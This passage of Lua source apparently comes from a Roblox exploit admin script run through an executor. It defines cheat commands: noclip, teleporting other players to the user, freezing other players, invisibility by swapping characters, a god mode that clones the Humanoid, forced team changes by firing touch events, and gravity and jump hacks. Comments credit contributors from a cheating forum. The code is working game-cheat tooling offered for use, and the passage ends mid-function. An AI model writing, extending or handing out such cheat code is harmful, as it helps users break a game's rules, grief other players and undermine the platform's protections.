addcmd("vehicleclip", {"vclip", "unvnoclip", "unvehiclenoclip"}, function(args, speaker)
execCmd("clip")
for i, v in pairs(vnoclipParts) do
v.CanCollide = true
end
vnoclipParts = {}
end)
addcmd("togglevnoclip", {}, function(args, speaker)
execCmd(Clip and "vnoclip" or "vclip")
end)
addcmd('clientbring',{'cbring'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if Players[v].Character ~= nil then
if Players[v].Character:FindFirstChildOfClass('Humanoid') then
Players[v].Character:FindFirstChildOfClass('Humanoid').Sit = false
end
wait()
getRoot(Players[v].Character).CFrame = getRoot(speaker.Character).CFrame + Vector3.new(3,1,0)
end
end
end)
local bringT = {}
addcmd('loopbring',{},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
task.spawn(function()
if Players[v].Name ~= speaker.Name and not FindInTable(bringT, Players[v].Name) then
table.insert(bringT, Players[v].Name)
local plrName = Players[v].Name
local pchar=Players[v].Character
local distance = 3
if args[2] and isNumber(args[2]) then
distance = args[2]
end
local lDelay = 0
if args[3] and isNumber(args[3]) then
lDelay = args[3]
end
repeat
for i,c in pairs(players) do
if Players:FindFirstChild(v) then
pchar = Players[v].Character
if pchar~= nil and Players[v].Character ~= nil and getRoot(pchar) and speaker.Character ~= nil and getRoot(speaker.Character) then
getRoot(pchar).CFrame = getRoot(speaker.Character).CFrame + Vector3.new(distance,1,0)
end
wait(lDelay)
else
for a,b in pairs(bringT) do if b == plrName then table.remove(bringT, a) end end
end
end
until not FindInTable(bringT, plrName)
end
end)
end
end)
addcmd('unloopbring',{'noloopbring'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
task.spawn(function()
for a,b in pairs(bringT) do if b == Players[v].Name then table.remove(bringT, a) end end
end)
end
end)
local walkto = false
local waypointwalkto = false
addcmd('walkto',{'follow'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if Players[v].Character ~= nil then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
walkto = true
repeat wait()
speaker.Character:FindFirstChildOfClass('Humanoid'):MoveTo(getRoot(Players[v].Character).Position)
until Players[v].Character == nil or not getRoot(Players[v].Character) or walkto == false
end
end
end)
addcmd('pathfindwalkto',{'pathfindfollow'},function(args, speaker)
walkto = false
wait()
local players = getPlayer(args[1], speaker)
local hum = Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
local path = PathService:CreatePath()
for i,v in pairs(players)do
if Players[v].Character ~= nil then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
walkto = true
repeat wait()
local success, response = pcall(function()
path:ComputeAsync(getRoot(speaker.Character).Position, getRoot(Players[v].Character).Position)
local waypoints = path:GetWaypoints()
local distance
for waypointIndex, waypoint in pairs(waypoints) do
local waypointPosition = waypoint.Position
hum:MoveTo(waypointPosition)
repeat
distance = (waypointPosition - hum.Parent.PrimaryPart.Position).magnitude
wait()
until
distance <= 5
end
end)
if not success then
speaker.Character:FindFirstChildOfClass('Humanoid'):MoveTo(getRoot(Players[v].Character).Position)
end
until Players[v].Character == nil or not getRoot(Players[v].Character) or walkto == false
end
end
end)
addcmd('pathfindwalktowaypoint',{'pathfindwalktowp'},function(args, speaker)
waypointwalkto = false
wait()
local WPName = tostring(getstring(1))
local hum = Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
local path = PathService:CreatePath()
if speaker.Character then
for i,_ in pairs(WayPoints) do
if tostring(WayPoints[i].NAME):lower() == tostring(WPName):lower() then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
local TrueCoords = Vector3.new(WayPoints[i].COORD[1], WayPoints[i].COORD[2], WayPoints[i].COORD[3])
waypointwalkto = true
repeat wait()
local success, response = pcall(function()
path:ComputeAsync(getRoot(speaker.Character).Position, TrueCoords)
local waypoints = path:GetWaypoints()
local distance
for waypointIndex, waypoint in pairs(waypoints) do
local waypointPosition = waypoint.Position
hum:MoveTo(waypointPosition)
repeat
distance = (waypointPosition - hum.Parent.PrimaryPart.Position).magnitude
wait()
until
distance <= 5
end
end)
if not success then
speaker.Character:FindFirstChildOfClass('Humanoid'):MoveTo(TrueCoords)
end
until not speaker.Character or waypointwalkto == false
end
end
for i,_ in pairs(pWayPoints) do
if tostring(pWayPoints[i].NAME):lower() == tostring(WPName):lower() then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
local TrueCoords = pWayPoints[i].COORD[1].Position
waypointwalkto = true
repeat wait()
local success, response = pcall(function()
path:ComputeAsync(getRoot(speaker.Character).Position, TrueCoords)
local waypoints = path:GetWaypoints()
local distance
for waypointIndex, waypoint in pairs(waypoints) do
local waypointPosition = waypoint.Position
hum:MoveTo(waypointPosition)
repeat
distance = (waypointPosition - hum.Parent.PrimaryPart.Position).magnitude
wait()
until
distance <= 5
end
end)
if not success then
speaker.Character:FindFirstChildOfClass('Humanoid'):MoveTo(TrueCoords)
end
until not speaker.Character or waypointwalkto == false
end
end
end
end)
addcmd('unwalkto',{'nowalkto','unfollow','nofollow'},function(args, speaker)
walkto = false
waypointwalkto = false
end)
addcmd("orbit", {}, function(args, speaker)
execCmd("unorbit nonotify")
local target = Players:FindFirstChild(getPlayer(args[1], speaker)[1])
local root = getRoot(speaker.Character)
local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid")
if target and target.Character and getRoot(target.Character) and root and humanoid then
local rotation = 0
local speed = tonumber(args[2]) or 0.2
local distance = tonumber(args[3]) or 6
orbit1 = RunService.Heartbeat:Connect(function()
pcall(function()
rotation = rotation + speed
root.CFrame = CFrame.new(getRoot(target.Character).Position) * CFrame.Angles(0, math.rad(rotation), 0) * CFrame.new(distance, 0, 0)
end)
end)
orbit2 = RunService.RenderStepped:Connect(function()
pcall(function()
root.CFrame = CFrame.new(root.Position, getRoot(target.Character).Position)
end)
end)
orbit3 = humanoid.Died:Connect(function() execCmd("unorbit") end)
orbit4 = humanoid.Seated:Connect(function(value) if value then execCmd("unorbit") end end)
notify("Orbit", "Started orbiting " .. formatUsername(target))
end
end)
addcmd("unorbit", {}, function(args, speaker)
if orbit1 then orbit1:Disconnect() end
if orbit2 then orbit2:Disconnect() end
if orbit3 then orbit3:Disconnect() end
if orbit4 then orbit4:Disconnect() end
if args[1] ~= "nonotify" then notify("Orbit", "Stopped orbiting player") end
end)
addcmd('freeze',{'fr'},function(args, speaker)
local players = getPlayer(args[1], speaker)
if players ~= nil then
for i,v in pairs(players) do
task.spawn(function()
for i, x in next, Players[v].Character:GetDescendants() do
if x:IsA("BasePart") and not x.Anchored then
x.Anchored = true
end
end
end)
end
end
end)
addcmd('thaw',{'unfreeze','unfr'},function(args, speaker)
local players = getPlayer(args[1], speaker)
if players ~= nil then
for i,v in pairs(players) do
task.spawn(function()
for i, x in next, Players[v].Character:GetDescendants() do
if x.Name ~= floatName and x:IsA("BasePart") and x.Anchored then
x.Anchored = false
end
end
end)
end
end
end)
oofing = false
addcmd('loopoof',{},function(args, speaker)
oofing = true
repeat wait(0.1)
for i,v in pairs(Players:GetPlayers()) do
if v.Character ~= nil and v.Character:FindFirstChild'Head' then
for _,x in pairs(v.Character.Head:GetChildren()) do
if x:IsA'Sound' then x.Playing = true end
end
end
end
until oofing == false
end)
addcmd('unloopoof',{},function(args, speaker)
oofing = false
end)
local notifiedRespectFiltering = false
addcmd('muteboombox',{},function(args, speaker)
if not notifiedRespectFiltering and SoundService.RespectFilteringEnabled then notifiedRespectFiltering = true notify('RespectFilteringEnabled','RespectFilteringEnabled is set to true (the command will still work but may only be clientsided)') end
local players = getPlayer(args[1], speaker)
if players ~= nil then
for i,v in pairs(players) do
task.spawn(function()
for i, x in next, Players[v].Character:GetDescendants() do
if x:IsA("Sound") and x.Playing == true then
x.Playing = false
end
end
for i, x in next, Players[v]:FindFirstChildOfClass("Backpack"):GetDescendants() do
if x:IsA("Sound") and x.Playing == true then
x.Playing = false
end
end
end)
end
end
end)
addcmd('unmuteboombox',{},function(args, speaker)
if not notifiedRespectFiltering and SoundService.RespectFilteringEnabled then notifiedRespectFiltering = true notify('RespectFilteringEnabled','RespectFilteringEnabled is set to true (the command will still work but may only be clientsided)') end
local players = getPlayer(args[1], speaker)
if players ~= nil then
for i,v in pairs(players) do
task.spawn(function()
for i, x in next, Players[v].Character:GetDescendants() do
if x:IsA("Sound") and x.Playing == false then
x.Playing = true
end
end
end)
end
end
end)
addcmd("reset", {}, function(args, speaker)
local humanoid = speaker.Character and speaker.Character:FindFirstChildWhichIsA("Humanoid")
if replicatesignal then
replicatesignal(speaker.Kill)
elseif humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.Dead)
else
speaker.Character:BreakJoints()
end
end)
addcmd('freezeanims',{},function(args, speaker)
local Humanoid = speaker.Character:FindFirstChildOfClass("Humanoid") or speaker.Character:FindFirstChildOfClass("AnimationController")
local ActiveTracks = Humanoid:GetPlayingAnimationTracks()
for _, v in pairs(ActiveTracks) do
v:AdjustSpeed(0)
end
end)
addcmd('unfreezeanims',{},function(args, speaker)
local Humanoid = speaker.Character:FindFirstChildOfClass("Humanoid") or speaker.Character:FindFirstChildOfClass("AnimationController")
local ActiveTracks = Humanoid:GetPlayingAnimationTracks()
for _, v in pairs(ActiveTracks) do
v:AdjustSpeed(1)
end
end)
addcmd("respawn", {}, function(args, speaker)
respawn(speaker)
end)
addcmd("refresh", {"re"}, function(args, speaker)
refresh(speaker)
end)
addcmd("god", {}, function(args, speaker)
permadeath(speaker)
local Cam = workspace.CurrentCamera
local Char, Pos = speaker.Character, Cam.CFrame
local Human = Char and Char:FindFirstChildWhichIsA("Humanoid")
local nHuman = Human:Clone()
nHuman.Parent = char
speaker.Character = nil
nHuman:SetStateEnabled(15, false)
nHuman:SetStateEnabled(1, false)
nHuman:SetStateEnabled(0, false)
nHuman.BreakJointsOnDeath = true
Human:Destroy()
speaker.Character = char
Cam.CameraSubject = nHuman
Cam.CFrame = task.wait() and pos
nHuman.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
local Script = Char:FindFirstChild("Animate")
if Script then
Script.Disabled = true
task.wait()
Script.Disabled = false
end
nHuman.Health = nHuman.MaxHealth
end)
invisRunning = false
addcmd('invisible',{'invis'},function(args, speaker)
if invisRunning then return end
invisRunning = true
-- Full credit to AmokahFox @V3rmillion
local Player = speaker
repeat wait(.1) until Player.Character
local Character = Player.Character
Character.Archivable = true
local IsInvis = false
local IsRunning = true
local InvisibleCharacter = Character:Clone()
InvisibleCharacter.Parent = Lighting
local Void = workspace.FallenPartsDestroyHeight
InvisibleCharacter.Name = ""
local CF
local invisFix = RunService.Stepped:Connect(function()
pcall(function()
local IsInteger
if tostring(Void):find'-' then
IsInteger = true
else
IsInteger = false
end
local Pos = Player.Character.HumanoidRootPart.Position
local Pos_String = tostring(Pos)
local Pos_Seperate = Pos_String:split(', ')
local X = tonumber(Pos_Seperate[1])
local Y = tonumber(Pos_Seperate[2])
local Z = tonumber(Pos_Seperate[3])
if IsInteger == true then
if Y <= Void then
Respawn()
end
elseif IsInteger == false then
if Y >= Void then
Respawn()
end
end
end)
end)
for i,v in pairs(InvisibleCharacter:GetDescendants())do
if v:IsA("BasePart") then
if v.Name == "HumanoidRootPart" then
v.Transparency = 1
else
v.Transparency = .5
end
end
end
function Respawn()
IsRunning = false
if IsInvis == true then
pcall(function()
Player.Character = Character
wait()
Character.Parent = workspace
Character:FindFirstChildWhichIsA'Humanoid':Destroy()
IsInvis = false
InvisibleCharacter.Parent = nil
invisRunning = false
end)
elseif IsInvis == false then
pcall(function()
Player.Character = Character
wait()
Character.Parent = workspace
Character:FindFirstChildWhichIsA'Humanoid':Destroy()
TurnVisible()
end)
end
end
local invisDied
invisDied = InvisibleCharacter:FindFirstChildOfClass'Humanoid'.Died:Connect(function()
Respawn()
invisDied:Disconnect()
end)
if IsInvis == true then return end
IsInvis = true
CF = workspace.CurrentCamera.CFrame
local CF_1 = Player.Character.HumanoidRootPart.CFrame
Character:MoveTo(Vector3.new(0,math.pi*1000000,0))
workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
wait(.2)
workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
InvisibleCharacter = InvisibleCharacter
Character.Parent = Lighting
InvisibleCharacter.Parent = workspace
InvisibleCharacter.HumanoidRootPart.CFrame = CF_1
Player.Character = InvisibleCharacter
execCmd('fixcam')
Player.Character.Animate.Disabled = true
Player.Character.Animate.Disabled = false
function TurnVisible()
if IsInvis == false then return end
invisFix:Disconnect()
invisDied:Disconnect()
CF = workspace.CurrentCamera.CFrame
Character = Character
local CF_1 = Player.Character.HumanoidRootPart.CFrame
Character.HumanoidRootPart.CFrame = CF_1
InvisibleCharacter:Destroy()
Player.Character = Character
Character.Parent = workspace
IsInvis = false
Player.Character.Animate.Disabled = true
Player.Character.Animate.Disabled = false
invisDied = Character:FindFirstChildOfClass'Humanoid'.Died:Connect(function()
Respawn()
invisDied:Disconnect()
end)
invisRunning = false
end
notify('Invisible','You now appear invisible to other players')
end)
addcmd("visible", {"vis","uninvisible"}, function(args, speaker)
TurnVisible()
end)
addcmd("toggleinvis", {}, function(args, speaker)
execCmd(invisRunning and "visible" or "invisible")
end)
addcmd('toolinvisible',{'toolinvis','tinvis'},function(args, speaker)
local Char = Players.LocalPlayer.Character
local touched = false
local tpdback = false
local box = Instance.new('Part')
box.Anchored = true
box.CanCollide = true
box.Size = Vector3.new(10,1,10)
box.Position = Vector3.new(0,10000,0)
box.Parent = workspace
local boxTouched = box.Touched:connect(function(part)
if (part.Parent.Name == Players.LocalPlayer.Name) then
if touched == false then
touched = true
local function apply()
local no = Char.HumanoidRootPart:Clone()
wait(.25)
Char.HumanoidRootPart:Destroy()
no.Parent = Char
Char:MoveTo(loc)
touched = false
end
if Char then
apply()
end
end
end
end)
repeat wait() until Char
local cleanUp
cleanUp = Players.LocalPlayer.CharacterAdded:connect(function(char)
boxTouched:Disconnect()
box:Destroy()
cleanUp:Disconnect()
end)
loc = Char.HumanoidRootPart.Position
Char:MoveTo(box.Position + Vector3.new(0,.5,0))
end)
addcmd("strengthen", {}, function(args, speaker)
for _, child in pairs(speaker.Character:GetDescendants()) do
if child.ClassName == "Part" then
if args[1] then
child.CustomPhysicalProperties = PhysicalProperties.new(args[1], 0.3, 0.5)
else
child.CustomPhysicalProperties = PhysicalProperties.new(100, 0.3, 0.5)
end
end
end
end)
addcmd("weaken", {}, function(args, speaker)
for _, child in pairs(speaker.Character:GetDescendants()) do
if child.ClassName == "Part" then
if args[1] then
child.CustomPhysicalProperties = PhysicalProperties.new(-args[1], 0.3, 0.5)
else
child.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
end
end
end
end)
addcmd("unweaken", {"unstrengthen"}, function(args, speaker)
for _, child in pairs(speaker.Character:GetDescendants()) do
if child.ClassName == "Part" then
child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
end
end
end)
addcmd("breakvelocity", {}, function(args, speaker)
local BeenASecond, V3 = false, Vector3.new(0, 0, 0)
delay(1, function()
BeenASecond = true
end)
while not BeenASecond do
for _, v in ipairs(speaker.Character:GetDescendants()) do
if v:IsA("BasePart") then
v.Velocity, v.RotVelocity = V3, V3
end
end
wait()
end
end)
addcmd('jpower',{'jumppower','jp'},function(args, speaker)
local jpower = args[1] or 50
if isNumber(jpower) then
if speaker.Character:FindFirstChildOfClass('Humanoid').UseJumpPower then
speaker.Character:FindFirstChildOfClass('Humanoid').JumpPower = jpower
else
speaker.Character:FindFirstChildOfClass('Humanoid').JumpHeight = jpower
end
end
end)
addcmd("maxslopeangle", {"msa"}, function(args, speaker)
local sangle = args[1] or 89
if isNumber(sangle) then
speaker.Character:FindFirstChildWhichIsA("Humanoid").MaxSlopeAngle = sangle
end
end)
addcmd("gravity", {"grav"}, function(args, speaker)
local grav = args[1] or 196.2
if isNumber(grav) then
workspace.Gravity = grav
end
end)
addcmd("hipheight", {"hheight"}, function(args, speaker)
local hipHeight = args[1] or (r15(speaker) and 2.1 or 0)
if isNumber(hipHeight) then
speaker.Character:FindFirstChildWhichIsA("Humanoid").HipHeight = hipHeight
end
end)
addcmd("dance", {}, function(args, speaker)
pcall(execCmd, "undance")
local dances = {"27789359", "30196114", "248263260", "45834924", "33796059", "28488254", "52155728"}
if r15(speaker) then
dances = {"3333432454", "4555808220", "4049037604", "4555782893", "10214311282", "10714010337", "10713981723", "10714372526", "10714076981", "10714392151", "11444443576"}
end
local animation = Instance.new("Animation")
animation.AnimationId = "rbxassetid://" .. dances[math.random(1, #dances)]
danceTrack = speaker.Character:FindFirstChildWhichIsA("Humanoid"):LoadAnimation(animation)
danceTrack.Looped = true
danceTrack:Play()
end)
addcmd("undance", {"nodance"}, function(args, speaker)
danceTrack:Stop()
danceTrack:Destroy()
end)
addcmd('nolimbs',{'rlimbs'},function(args, speaker)
if r15(speaker) then
for i,v in pairs(speaker.Character:GetChildren()) do
if v:IsA("BasePart") and
v.Name == "RightUpperLeg" or
v.Name == "LeftUpperLeg" or
v.Name == "RightUpperArm" or
v.Name == "LeftUpperArm" then
v:Destroy()
end
end
else
for i,v in pairs(speaker.Character:GetChildren()) do
if v:IsA("BasePart") and
v.Name == "Right Leg" or
v.Name == "Left Leg" or
v.Name == "Right Arm" or
v.Name == "Left Arm" then
v:Destroy()
end
end
end
end)
addcmd('noarms',{'rarms'},function(args, speaker)
if r15(speaker) then
for i,v in pairs(speaker.Character:GetChildren()) do
if v:IsA("BasePart") and
v.Name == "RightUpperArm" or
v.Name == "LeftUpperArm" then
v:Destroy()
end
end
else
for i,v in pairs(speaker.Character:GetChildren()) do
if v:IsA("BasePart") and
v.Name == "Right Arm" or
v.Name == "Left Arm" then
v:Destroy()
end
end
end
end)
addcmd('nolegs',{'rlegs'},function(args, speaker)
if r15(speaker) then
for i,v in pairs(speaker.Character:GetChildren()) do
if v:IsA("BasePart") and
v.Name == "RightUpperLeg" or
v.Name == "LeftUpperLeg" then
v:Destroy()
end
end
else
for i,v in pairs(speaker.Character:GetChildren()) do
if v:IsA("BasePart") and
v.Name == "Right Leg" or
v.Name == "Left Leg" then
v:Destroy()
end
end
end
end)
addcmd("sit", {}, function(args, speaker)
speaker.Character:FindFirstChildWhichIsA("Humanoid").Sit = true
end)
addcmd("lay", {"laydown"}, function(args, speaker)
local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid")
humanoid.Sit = true
task.wait(0.1)
humanoid.RootPart.CFrame = humanoid.RootPart.CFrame * CFrame.Angles(math.pi * 0.5, 0, 0)
for _, v in ipairs(humanoid:GetPlayingAnimationTracks()) do
v:Stop()
end
end)
addcmd("sitwalk", {}, function(args, speaker)
local anims = speaker.Character.Animate
local sit = anims.sit:FindFirstChildWhichIsA("Animation").AnimationId
anims.idle:FindFirstChildWhichIsA("Animation").AnimationId = sit
anims.walk:FindFirstChildWhichIsA("Animation").AnimationId = sit
anims.run:FindFirstChildWhichIsA("Animation").AnimationId = sit
anims.jump:FindFirstChildWhichIsA("Animation").AnimationId = sit
speaker.Character:FindFirstChildWhichIsA("Humanoid").HipHeight = not r15(speaker) and -1.5 or 0.5
end)
addcmd("nosit", {}, function(args, speaker)
speaker.Character:FindFirstChildWhichIsA("Humanoid"):SetStateEnabled(Enum.HumanoidStateType.Seated, false)
end)
addcmd("unnosit", {}, function(args, speaker)
speaker.Character:FindFirstChildWhichIsA("Humanoid"):SetStateEnabled(Enum.HumanoidStateType.Seated, true)
end)
addcmd("jump", {}, function(args, speaker)
speaker.Character:FindFirstChildWhichIsA("Humanoid"):ChangeState(Enum.HumanoidStateType.Jumping)
end)
local infJump
infJumpDebounce = false
addcmd("infjump", {"infinitejump"}, function(args, speaker)
if infJump then infJump:Disconnect() end
infJumpDebounce = false
infJump = UserInputService.JumpRequest:Connect(function()
if not infJumpDebounce then
infJumpDebounce = true
speaker.Character:FindFirstChildWhichIsA("Humanoid"):ChangeState(Enum.HumanoidStateType.Jumping)
wait()
infJumpDebounce = false
end
end)
end)
addcmd("uninfjump", {"uninfinitejump", "noinfjump", "noinfinitejump"}, function(args, speaker)
if infJump then infJump:Disconnect() end
infJumpDebounce = false
end)
local flyjump
addcmd("flyjump", {}, function(args, speaker)
if flyjump then flyjump:Disconnect() end
flyjump = UserInputService.JumpRequest:Connect(function()
speaker.Character:FindFirstChildWhichIsA("Humanoid"):ChangeState(Enum.HumanoidStateType.Jumping)
end)
end)
addcmd("unflyjump", {"noflyjump"}, function(args, speaker)
if flyjump then flyjump:Disconnect() end
end)
local HumanModCons = {}
addcmd('autojump',{'ajump'},function(args, speaker)
local Char = speaker.Character
local Human = Char and Char:FindFirstChildWhichIsA("Humanoid")
local function autoJump()
if Char and Human then
local check1 = workspace:FindPartOnRay(Ray.new(Human.RootPart.Position-Vector3.new(0,1.5,0), Human.RootPart.CFrame.lookVector*3), Human.Parent)
local check2 = workspace:FindPartOnRay(Ray.new(Human.RootPart.Position+Vector3.new(0,1.5,0), Human.RootPart.CFrame.lookVector*3), Human.Parent)
if check1 or check2 then
Human.Jump = true
end
end
end
autoJump()
HumanModCons.ajLoop = (HumanModCons.ajLoop and HumanModCons.ajLoop:Disconnect() and false) or RunService.RenderStepped:Connect(autoJump)
HumanModCons.ajCA = (HumanModCons.ajCA and HumanModCons.ajCA:Disconnect() and false) or speaker.CharacterAdded:Connect(function(nChar)
Char, Human = nChar, nChar:WaitForChild("Humanoid")
autoJump()
HumanModCons.ajLoop = (HumanModCons.ajLoop and HumanModCons.ajLoop:Disconnect() and false) or RunService.RenderStepped:Connect(autoJump)
end)
end)
addcmd('unautojump',{'noautojump', 'noajump', 'unajump'},function(args, speaker)
HumanModCons.ajLoop = (HumanModCons.ajLoop and HumanModCons.ajLoop:Disconnect() and false) or nil
HumanModCons.ajCA = (HumanModCons.ajCA and HumanModCons.ajCA:Disconnect() and false) or nil
end)
addcmd('edgejump',{'ejump'},function(args, speaker)
local Char = speaker.Character
local Human = Char and Char:FindFirstChildWhichIsA("Humanoid")
-- Full credit to NoelGamer06 @V3rmillion
local state
local laststate
local lastcf
local function edgejump()
if Char and Human then
laststate = state
state = Human:GetState()
if laststate ~= state and state == Enum.HumanoidStateType.Freefall and laststate ~= Enum.HumanoidStateType.Jumping then
Char.HumanoidRootPart.CFrame = lastcf
Char.HumanoidRootPart.Velocity = Vector3.new(Char.HumanoidRootPart.Velocity.X, Human.JumpPower or Human.JumpHeight, Char.HumanoidRootPart.Velocity.Z)
end
lastcf = Char.HumanoidRootPart.CFrame
end
end
edgejump()
HumanModCons.ejLoop = (HumanModCons.ejLoop and HumanModCons.ejLoop:Disconnect() and false) or RunService.RenderStepped:Connect(edgejump)
HumanModCons.ejCA = (HumanModCons.ejCA and HumanModCons.ejCA:Disconnect() and false) or speaker.CharacterAdded:Connect(function(nChar)
Char, Human = nChar, nChar:WaitForChild("Humanoid")
edgejump()
HumanModCons.ejLoop = (HumanModCons.ejLoop and HumanModCons.ejLoop:Disconnect() and false) or RunService.RenderStepped:Connect(edgejump)
end)
end)
addcmd('unedgejump',{'noedgejump', 'noejump', 'unejump'},function(args, speaker)
HumanModCons.ejLoop = (HumanModCons.ejLoop and HumanModCons.ejLoop:Disconnect() and false) or nil
HumanModCons.ejCA = (HumanModCons.ejCA and HumanModCons.ejCA:Disconnect() and false) or nil
end)
addcmd("team", {}, function(args, speaker)
local teamName = getstring(1)
local team = nil
local root = speaker.Character and getRoot(speaker.Character)
for _, v in ipairs(Teams:GetChildren()) do
if v.Name:lower():match(teamName:lower()) then
team = v
break
end
end
if not team then
return notify("Invalid Team", teamName .. " is not a valid team")
end
if root and firetouchinterest then
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("SpawnLocation") and v.BrickColor == team.TeamColor and v.AllowTeamChangeOnTouch == true then
firetouchinterest(v, root, 0)
firetouchinterest(v, root, 1)
break
end
end
else
speaker.Team = team
end
end)
addcmd('nobgui',{'unbgui','nobillboardgui','unbillboardgui','noname','rohg'},function(args, speaker)
for i,v in pairs(speaker.Character:GetDescendants())do
if v:IsA("BillboardGui") or v:IsA("SurfaceGui") then
v:Destroy()
end
end
end)
addcmd('loopnobgui',{'loopunbgui','loopnobillboardgui','loopunbillboardgui','loopnoname','looprohg'},function(args, speaker)
for i,v in pairs(speaker.Character:GetDescendants())do
if v:IsA("BillboardGui") or v:IsA("SurfaceGui") then
v:Destroy()
end
end
local function charPartAdded(part)
if part:IsA("BillboardGui") or part:IsA("SurfaceGui") then
wait()
part:Destroy()
end
end
charPartTrigger = speaker.Character.DescendantAdded:Connect(charPartAdded)
end)
addcmd('unloopnobgui',{'unloopunbgui','unloopnobillboardgui','unloopunbillboardgui','unloopnoname','unlooprohg'},function(args, speaker)
if charPartTrigger then
charPartTrigger:Disconnect()
end
end)
addcmd('spasm',{},function(args, speaker)
if not r15(speaker) then
local pchar=speaker.Character
local AnimationId = "33796059"
SpasmAnim = Instance.new("Animation")
SpasmAnim.AnimationId = "rbxassetid://"..AnimationId
Spasm = pchar:FindFirstChildOfClass('Humanoid'):LoadAnimation(SpasmAnim)
Spasm:Play()
Spasm:AdjustSpeed(99)
else
notify('R6 Required','This command requires the r6 rig type')
end
end)
addcmd('unspasm',{'nospasm'},function(args, speaker)
Spasm:Stop()
SpasmAnim:Destroy()
end)
addcmd('headthrow',{},function(args, speaker)
if not r15(speaker) then
local AnimationId = "35154961"
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..AnimationId
local k = speaker.Character:FindFirstChildOfClass('Humanoid'):LoadAnimation(Anim)
k:Play(0)
k:AdjustSpeed(1)
else
notify('R6 Required','This command requires the r6 rig type')
end
end)
local function anim2track(asset_id)
local objs = game:GetObjects(asset_id)
for i = 1, #objs do
if objs[i]:IsA("Animation") then
return objs[i].AnimationId
end
end
return asset_id
end
addcmd("animation", {"anim"}, function(args, speaker)
local animid = tostring(args[1])
if not animid:find("rbxassetid://") then
animid = "rbxassetid://" .. animid
end
animid = anim2track(animid)
local animation = Instance.new("Animation")
animation.AnimationId = animid
local anim = speaker.Character:FindFirstChildWhichIsA("Humanoid"):LoadAnimation(animation)
anim.Priority = Enum.AnimationPriority.Movement
anim:Play()
if args[2] then anim:AdjustSpeed(tostring(args[2])) end
end)
addcmd("emote", {"em"}, function(args, speaker)
local animid = tostring(args[1])
if not animid:find("rbxassetid://") then
animid = "rbxassetid://" .. animid
end
local anim = humanoid:PlayEmoteAndGetAnimTrackById(animid)
if args[2] then anim:AdjustSpeed(tostring(args[2])) end
end)
addcmd('noanim',{},function(args, speaker)
speaker.Character.Animate.Disabled = true
end)
addcmd('reanim',{},function(args, speaker)
speaker.Character.Animate.Disabled = false
end)
addcmd('animspeed',{},function(args, speaker)
local Char = speaker.Character
local Hum = Char:FindFirstChildOfClass("Humanoid") or Char:FindFirstChildOfClass("AnimationController")
for i,v in next, Hum:GetPlayingAnimationTracks() do
v:AdjustSpeed(tonumber(args[1] or 1))
end
end)
addcmd('copyanimation',{'copyanim','copyemote'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for _,v in ipairs(players)do
local char = Players[v].Character
for _, v1 in pairs(speaker.Character:FindFirstChildOfClass('Humanoid'):GetPlayingAnimationTracks()) do
v1:Stop()
end
for _, v1 in pairs(Players[v].Character:FindFirstChildOfClass('Humanoid'):GetPlayingAnimationTracks()) do
if not string.find(v1.Animation.AnimationId, "507768375") then
local ANIM = speaker.Character:FindFirstChildOfClass('Humanoid'):LoadAnimation(v1.Animation)
ANIM:Play(.1, 1, v1.Speed)
ANIM.TimePosition = v1.TimePosition
task.spawn(function()
v1.Stopped:Wait()
ANIM:Stop()
ANIM:Destroy()
end)
end
end
end
end)
addcmd("copyanimationid", {"copyanimid", "copyemoteid"}, function(args, speaker)
local copyAnimId = function(player)
local found = "Animations Copied"
for _, v in pairs(player.Character:FindFirstChildWhichIsA("Humanoid"):GetPlayingAnimationTracks()) do
local animationId = v.Animation.AnimationId
local assetId = animationId:find("rbxassetid://") and animationId:match("%d+")
if not string.find(animationId, "507768375") and not string.find(animationId, "180435571") then
if assetId then
local success, result = pcall(function()
return MarketplaceService:GetProductInfo(tonumber(assetId)).Name
end)
local name = success and result or "Failed to get name"
found = found .. "\n\nName: " .. name .. "\nAnimation Id: " .. animationId
else
found = found .. "\n\nAnimation Id: " .. animationId
end
end
end
if found ~= "Animations Copied" then
toClipboard(found)
else
notify("Animations", "No animations to copy")
end
end
if args[1] then
copyAnimId(Players[getPlayer(args[1], speaker)[1]])
else
copyAnimId(speaker)
end
end)
addcmd('stopanimations',{'stopanims','stopanim'},function(args, speaker)
local Char = speaker.Character
local Hum = Char:FindFirstChildOfClass("Humanoid") or Char:FindFirstChildOfClass("AnimationController")
for i,v in next, Hum:GetPlayingAnimationTracks() do
v:Stop()
end
end)
addcmd('refreshanimations', {'refreshanimation', 'refreshanims', 'refreshanim'}, function(args, speaker)
local Char = speaker.Character or speaker.CharacterAdded:Wait()
local Human = Char and Char:WaitForChild('Humanoid', 15)
local Animate = Char and Char:WaitForChild('Animate', 15)
if not Human or not Animate then
return notify('Refresh Animations', 'Failed to get Animate/Humanoid')
end
Animate.Disabled = true
